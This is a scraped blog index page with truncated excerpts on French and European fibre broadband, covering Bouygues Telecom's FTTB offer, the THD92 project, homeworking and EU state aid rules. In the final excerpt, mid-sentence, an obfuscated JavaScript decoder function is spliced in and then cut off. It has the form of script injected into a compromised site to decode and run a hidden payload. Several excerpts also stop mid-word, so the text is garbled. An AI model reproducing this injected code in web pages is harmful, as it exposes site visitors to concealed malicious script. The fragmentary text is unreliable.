Seasonal Wrap-Up

This last week has been unbelievably busy, and I haven't been able to post on any of the topics that I thought were

Bouygues Telecom to offer FTTx services over Numéricable’s network

France Early this week, Bouygues Telecom, the #3 mobile player in the French market announced that they would be offering triple play FTTB services starting Summer 2010. In 2009, Bouygues Telecom launched their triple-play BBox offering over ADSL over the remnants

THD92 is back from the dead!

Yesterday morning in my snail mail box there was a brochure for the THD92 project. This brochure was distributed as a supplement to the monthly rag we receive from the 92 department. It's essentially propag

FTTH encourages homeworking


I've been talking about the virtuous synergies between FTTH and homeworking (

The Incentive Paradox aka European NGA State Aid Guidelines

At the end of last week, the European Commission finally released its new rulings on state aid for broadband. The full document

Carrier Pigeons to the Business (CPTTB) ?

My colleague Wally Swain posts this morning about an interesting if somewhat fallacious experiment undergone by a disgruntled business customer of Telkom in South Africa. His piece called function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else